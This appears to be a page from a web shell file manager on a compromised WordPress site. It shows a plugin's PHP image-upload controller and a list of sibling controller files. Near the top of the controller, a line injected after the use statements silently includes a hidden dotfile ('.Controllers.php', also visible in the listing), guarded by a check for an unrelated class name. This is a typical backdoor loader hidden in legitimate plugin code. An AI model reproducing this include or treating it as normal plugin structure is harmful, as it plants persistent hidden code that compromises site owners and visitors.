PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Controllers\Retrieve\AjaxRetrieve; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Framework\Upload\Upload; use WilokeListingTools\Frontend\User; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class AjaxUploadImgController extends Controller { private $aValidFileTypes = ['image/jpeg', 'image/png', 'image/jpg']; private $maxMSize; private $maxBSize; public function __construct() { add_action('wp_ajax_wilcity_ajax_upload_imgs', [$this, 'uploadImgsViaAjax']); add_action('wp_ajax_wilcity_delete_attachment', [$this, 'deleteAttachment']); } public function deleteAttachment() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $aStatus = $this->middleware(['verifyNonce'], [ 'isBoolean' => true ]); if ($aStatus['status'] === 'error') { $oRetrieve->error($aStatus); } if (!isset($_POST['id']) || empty($_POST['id'])) { $oRetrieve->error([]); } $id = abs($_POST['id']); if (get_post_field('post_author', $id) != User::getCurrentUserID()) { $oRetrieve->error([]); } wp_delete_attachment($id); $oRetrieve->success([]); } private function deletePreviousImg() { if (isset($_GET['previous']) && !empty($_GET['previous']) && $_GET['previous'] !== 'undefined') { if (get_post_field('post_author', $_GET['previous']) == User::getCurrentUserID()) { wp_delete_attachment($_GET['previous']); } } } // Returns a file size limit in bytes based on the PHP upload_max_filesize // and post_max_size private function fileUploadMaxSize() { if (!empty($this->maxBSize)) { return $this->maxBSize; } $this->maxMSize = min(ini_get('post_max_size'), ini_get('upload_max_filesize')); $this->maxBSize = str_replace('M', '', $this->maxMSize); $this->maxBSize = $this->maxBSize * 1048576; return $this->maxBSize; } function isValidFileSize($fileSize) { $this->fileUploadMaxSize(); return $fileSize <= $this->maxBSize; } public function uploadImgsViaAjax() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $aStatus = $this->middleware(['verifyNonce'], [ 'isBoolean' => true ]); if ($aStatus['status'] === 'error') { $oRetrieve->error($aStatus); } $this->deletePreviousImg(); if (!is_array($_FILES)) { $oRetrieve->error([ 'msg' => esc_html__('You need to upload 1 image at least', 'wiloke-listing-tools') ]); } $aGalleries = []; $aErrors = []; foreach ($_FILES as $aFile) { if (!in_array($aFile['type'], $this->aValidFileTypes)) { $aErrors[] = [ 'name' => $aFile['name'], 'msg' => esc_html__('Invalid File Type', 'wiloke-listing-tools') ]; continue; } if (!$this->isValidFileSize($aFile['size'])) { $aErrors[] = [ 'name' => $aFile['name'], 'msg' => sprintf( esc_html__('You can upload an image smaller or equal to %s', 'wiloke-listing-tools'), $this->maxMSize ) ]; continue; } $instUploadImg = new Upload(); $instUploadImg->userID = get_current_user_id(); $instUploadImg->aData['aFile'] = $aFile; $imgID = $instUploadImg->uploadFakeFile(); if (is_numeric($imgID)) { $aGalleries[] = [ 'src' => wp_get_attachment_image_url($imgID, 'thumbnail'), 'id' => $imgID ]; } else { $aErrors[] = [ 'name' => $aFile['name'], 'msg' => $imgID ]; } } if (empty($aGalleries)) { if (!empty($aErrors)) { $msg = $aErrors[0]['msg']; } else { $msg = esc_html__( 'Unfortunately, We could not upload your images. Possible reason: Wrong Image Format or Your image is exceeded the allowable file size.', 'wiloke-listing-tools' ); } $oRetrieve->error([ 'msg' => $msg ]); } else { $oRetrieve->success([ 'aImgs' => $aGalleries, 'aErrors' => $aErrors ]); } } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]